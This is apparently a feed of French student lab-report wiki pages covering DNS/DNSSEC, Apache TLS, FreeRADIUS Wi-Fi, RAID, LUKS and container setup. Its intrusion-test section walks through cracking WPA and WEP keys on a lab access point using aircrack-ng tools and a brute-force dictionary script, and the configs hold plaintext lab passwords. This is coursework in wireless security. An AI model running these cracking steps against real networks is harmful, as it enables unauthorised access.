 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
===DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
Et enfin, nous lançons le service freeradius :&lt;br /&gt;
  $ service freeradius restart&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite à la modification de la configuration des points d'accès afin qu'ils prennent en compte notre serveur freeradius :&lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 aaa authentication login eap_group17 group radius_group17&lt;br /&gt;
 aaa group server radius radius_group17&lt;br /&gt;
 server 193.48.57.183 auth-port 1812 acct-port 1813&lt;br /&gt;
 radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secretIMA5SC&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 dot11 ssid Hercule&lt;br /&gt;
 vlan 17&lt;br /&gt;
 authentication open eap eap_group17&lt;br /&gt;
 authentication network-eap eap_group17&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 ssid Hercule&lt;br /&gt;
 encryption vlan 17 mode ciphers aes-ccm tkip&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0.17&lt;br /&gt;
 encapsulation dot1Q 17&lt;br /&gt;
 bridge-group 17&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===Cassage de clé WEP===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef012c92&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon&lt;br /&gt;
&lt;br /&gt;
En parallèle, on simule une connexion au point d'accès pour récupérer le handshake : &lt;br /&gt;
 $ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On réalise le cassage : &lt;br /&gt;
 $ aircrack-ng ./path_to_folder/cracotte07.cap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:cassagewep07.png|600px]]&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Raidhercule.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===6.1 Cryptage de données===&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :&lt;br /&gt;
&lt;br /&gt;
$ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v&lt;br /&gt;
&lt;br /&gt;
Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.&lt;br /&gt;
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1&lt;br /&gt;
&lt;br /&gt;
Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.&lt;br /&gt;
&lt;br /&gt;
Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/xvdd1 home&lt;br /&gt;
&lt;br /&gt;
Nous la formatons en ext4 :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs -t ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Enfin, nous montons la partition sous /mnt :&lt;br /&gt;
&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/home /mnt&lt;br /&gt;
&lt;br /&gt;
Nous y créeons ensuite un fichier texte.&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49123</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49123"/>
				<updated>2018-12-21T17:48:10Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Schéma résumant le câblage réalisé : */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
